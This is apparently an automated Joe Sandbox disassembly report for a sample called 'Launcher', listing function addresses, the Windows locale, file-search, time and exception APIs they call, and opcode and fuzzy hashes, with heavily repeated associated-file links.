Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 3d7b5a7f7539fcfdfca7117a2aa3ce15b80a5df044c51830be1c1b81120b1adf
Instruction ID: a8542be996cf41c329da9e506d3713fa11b0d459ecb11517eb1b1eddadddc03d
Opcode Fuzzy Hash: 3d7b5a7f7539fcfdfca7117a2aa3ce15b80a5df044c51830be1c1b81120b1adf
Instruction Fuzzy Hash: 7A212522608129ABDB399F94F900BF773A7FF54B60B668464E806DB190E732DD50C340

Function 00127547 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0012764F
IsValidCodePage.KERNEL32(00000000), ref: 0012768D
IsValidLocale.KERNEL32(?,00000001), ref: 001276A0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 001276E8
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00127703

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1a9dad263cbd8aa2ae84ea2296370b0ca1e1209df7f8391b5af91997d9fb696c
Instruction ID: 250b7cc8c3c82595bffa8ae5b5f6b5ef26162a12217d2a91d37857bc65fa1910
Opcode Fuzzy Hash: 1a9dad263cbd8aa2ae84ea2296370b0ca1e1209df7f8391b5af91997d9fb696c
Instruction Fuzzy Hash: 94516071A04626ABEB20DFA4EC85EBFB7B8FF18740F144469E511E71D0E7709A60CB61

Function 00120060 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction ID: 6f9610a5e4b0ea35e7230feeb80ec259821a020b86d7ab47b5829a077ef41fe4
Opcode Fuzzy Hash: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction Fuzzy Hash: 5F023B71E012299FDF15CFA9D8806AEFBB1FF48314F24826AD919E7341D731AA51CB90

Function 001282A9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00128399

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 47c141de70a08bcb81b1d59d506f974085de864c226e9c853c0761f3e3b688a1
Instruction ID: b40a36924832973685a095648e545e7893196d2bde516b6611a6c2316433c18a
Opcode Fuzzy Hash: 47c141de70a08bcb81b1d59d506f974085de864c226e9c853c0761f3e3b688a1
Instruction Fuzzy Hash: 5F71D471906179AFDF24EF24AC89AEEB7B9AB15300F1441D9E048A7251EF318EE5CF14

Function 001164BF Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 001164CB
IsDebuggerPresent.KERNEL32 ref: 00116597
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001165B0
UnhandledExceptionFilter.KERNEL32(?), ref: 001165BA

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c39bb4c912651b6b622f8d0f46e07449a0cd65401a0baf9700f18a38b219e5ab
Instruction ID: d6f0ac23d2101fadfa67dbf79239958e7f4b17cd23803b57c9930266418e4fbf
Opcode Fuzzy Hash: c39bb4c912651b6b622f8d0f46e07449a0cd65401a0baf9700f18a38b219e5ab
Instruction Fuzzy Hash: 5531F6B5D05229ABDF20DFA4D9497CDBBB8AF18300F1041AAE40CAB250EB719AC5CF45

Function 00127840 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00127894
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001278DE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 001279A4

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 77fe9ae3b16b61d390a5d341f5c3fd6c8f0d5782b10819455a9fee74a1b70be8
Instruction ID: e959d1246a859538016cbc73c7142fb2c4a421cbe3fb1025b6bd3f97d271dca2
Opcode Fuzzy Hash: 77fe9ae3b16b61d390a5d341f5c3fd6c8f0d5782b10819455a9fee74a1b70be8
Instruction Fuzzy Hash: DF618C715542279BDF289F28ED82BBFB3A8EF14324F1441AAE905C75C5E734DAA0CB50

Function 0011E600 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0011E6F8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0011E702
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0011E70F

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 6afa5bfe73b0deb448a8780c0cb84af45d2072f225dcf21224f04eaa2e9be5a5
Instruction ID: 90b3ef62c39589f7df8979e06175e450fd282d79576fa182402f7a1f3c9ca710
Opcode Fuzzy Hash: 6afa5bfe73b0deb448a8780c0cb84af45d2072f225dcf21224f04eaa2e9be5a5
Instruction Fuzzy Hash: 4331B174951229ABCB25DF64D8897CDBBB8AF18310F5041EAE81CA62A1E7709BC18F44

Function 00116127 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0011613D

Strings

MZx, xrefs: 001162BC

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID: MZx
API String ID: 2325560087-2575928145
Opcode ID: 98822ed58910087fa3c8122becb49334f41f97532b4b295d2001ff06b181f71a
Instruction ID: 6c7187ac44d2e9f38b95f81d385f53a787fd7583e5c4a56e2aa793a1c54e37ea
Opcode Fuzzy Hash: 98822ed58910087fa3c8122becb49334f41f97532b4b295d2001ff06b181f71a
Instruction Fuzzy Hash: 88A1AEB6E002098FDB18CF98DC916ADBBF1FB4A328F14816AD451E77A4C3359984CF51

Function 00116AB4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,00115D8B,?,?,?,?,?,0010B45E), ref: 00116AEC
GetSystemTimeAsFileTime.KERNEL32(?,580AF776,?,?,00132EAC,000000FF,?,00116994,?,00000000,00000000,?,001169B8,?,?), ref: 00116AF0

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: d0d47f35a4cf146dd19f62779a83bc5a53a4fb458dcab11f27b0f0e3684ec4b7
Instruction ID: bb4fe65e7d48eb668defa83f69643785657b3d6ee688715ec632153e236f7852
Opcode Fuzzy Hash: d0d47f35a4cf146dd19f62779a83bc5a53a4fb458dcab11f27b0f0e3684ec4b7
Instruction Fuzzy Hash: 23F0E53AA44564EFC7058F14DC41B9DB7A8FB0AF10F004236EC1293BA0DB75A880CB81

Function 0012B59E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0012B4F9,?,?,00000008,?,?,0013292E,00000000), ref: 0012B7CB

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c336186f7073df74ec51c7453488245f1a11c4545a3462316366cdc268edd4a5
Instruction ID: 5fb012d2409bc3bc31dd41f50632a10d15bca73e46157949265b0569c6c1f33b
Opcode Fuzzy Hash: c336186f7073df74ec51c7453488245f1a11c4545a3462316366cdc268edd4a5
Instruction Fuzzy Hash: A8B16935214618CFD719CF28D4CAB647BE0FF45364F298658E89ACF2A1C335E9A2CB40

Function 001281F8 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001235B4: RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,0012274F,00000001,00000364,00000006,000000FF,?,00000000,?,0011A1F5,00000000,?), ref: 001235F5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00128399
FindNextFileW.KERNEL32(00000000,?), ref: 0012848D
FindClose.KERNEL32(00000000), ref: 001284CC
FindClose.KERNEL32(00000000), ref: 001284FF

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Find$CloseFile$AllocateFirstHeapNext
String ID:
API String ID: 4087847297-0
Opcode ID: 49b666432c7e87e90150b103887842477ce5aeda33912dc75a699e9667f330fa
Instruction ID: 37794ee78e36c4565b2f15f478145d1f06e2b3d20fbb1d200ed3789b12371777
Opcode Fuzzy Hash: 49b666432c7e87e90150b103887842477ce5aeda33912dc75a699e9667f330fa
Instruction Fuzzy Hash: 32514675902228AFDF28EF68AC859FEB7A9EF55314F144199F41897201EF309D62CB60

Function 00127B00 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00127B54

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 31f3a6c8f08523d3ddb7916e059d2823697083c4482f3336e7b337e30641fa46
Instruction ID: 4606bca76f67a340b9ffcb41e9cdfe360429d3dfcd8e5412ed293aa030769181
Opcode Fuzzy Hash: 31f3a6c8f08523d3ddb7916e059d2823697083c4482f3336e7b337e30641fa46
Instruction Fuzzy Hash: 2521A772A54126ABDF289B15EC51ABF73ACEF15310B1040BAFD01D7181FB74ED608754

Function 0011A982 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 0011AB06

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d4c6441cfc2633d787fca07cbb749f2cde406f9bfebb047037ed3e3c8508196d
Instruction ID: 903b6a4ad84c1b355a7e3cabc772ff06a82454249988c967c337a4d1b86f55d3
Opcode Fuzzy Hash: d4c6441cfc2633d787fca07cbb749f2cde406f9bfebb047037ed3e3c8508196d
Instruction Fuzzy Hash: 5DB11370906A0A8BCB2CCF68D6556FEBFA5AF00314F94463DD49297691D731AEC1CB83

Function 00127798 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

EnumSystemLocalesW.KERNEL32(00127840,00000001,00000000,?,-00000050,?,00127623,00000000,-00000002,00000000,?,00000055,?), ref: 0012780A

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8381cb4ff30793c1c06a6a95e8e0144151804d92c3a89a5811fa695b2d5f67fb
Instruction ID: 48de3094c19e9854005c7c86ca6d0e2c701aa2a46af044feac5d8e839dcbb1b3
Opcode Fuzzy Hash: 8381cb4ff30793c1c06a6a95e8e0144151804d92c3a89a5811fa695b2d5f67fb
Instruction Fuzzy Hash: 1811483B2043119FDB189F38E8A56BBBB91FF84369B15442DE94687B80D371B952C740

Function 00127C20 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00127C74

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9b9f55408f466d1ebef23c28aaf9cd281ca8b292f47150c0f5dc44399cf64d33
Instruction ID: dd923c5abe55f52c9e1159ef3fae5964c3b969247fa0c409b42eb30892cde548
Opcode Fuzzy Hash: 9b9f55408f466d1ebef23c28aaf9cd281ca8b292f47150c0f5dc44399cf64d33
Instruction Fuzzy Hash: 5711C272655127ABDB28AF28EC52ABF77ECEF15310B10417AF901D7281EB78ED608750

Function 00127DCD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00127A5C,00000000,00000000,?), ref: 00127DF9

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 59115f3e4c6743cf30f115fcfb9cbfb736db59775ea300e58eea41f6f2c1253e
Instruction ID: 4ff1a8c44980b18884f33a92bbcac94c9a4bc0e6713cfb364e0dacd5bdbadf20
Opcode Fuzzy Hash: 59115f3e4c6743cf30f115fcfb9cbfb736db59775ea300e58eea41f6f2c1253e
Instruction Fuzzy Hash: 9101D636614122BBDB285B24AC56BFB3754EB40354F1644A9EC42A31C0EB34EE61C6F0

Function 00127A93 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0012250A: GetLastError.KERNEL32(00000000,?,0012488D), ref: 0012250E
Part of subcall function 0012250A: SetLastError.KERNEL32(00000000,?,?,00000028,0011EB33), ref: 001225B0

EnumSystemLocalesW.KERNEL32(00127B00,00000001,?,?,-00000050,?,001275EB,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00127ADD

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 75baf243c56a9ae80fd4107e30a69cb8821cc7e3cf0ae81ef8291d465905360b
Instruction ID: a7a1dc3b846fcf548ef7cd56d586c87eedaafabb25b5ca8d9c1e2a1d52120d93
Opcode Fuzzy Hash: 75baf243c56a9ae80fd4107e30a69cb8821cc7e3cf0ae81ef8291d465905360b
Instruction Fuzzy Hash: 60F0F6363043146FDB255F35EC91A7B7B91EF80368B09882DF9454BAD0C7719D52C750

Function 001234BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0011E8B1: EnterCriticalSection.KERNEL32(?,?,00122998,?,00144160,00000008,0012288A,00000000,00000000,?), ref: 0011E8C0

EnumSystemLocalesW.KERNEL32(001234B0,00000001,001441E0,0000000C,00122EB1,-00000050), ref: 001234F5

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
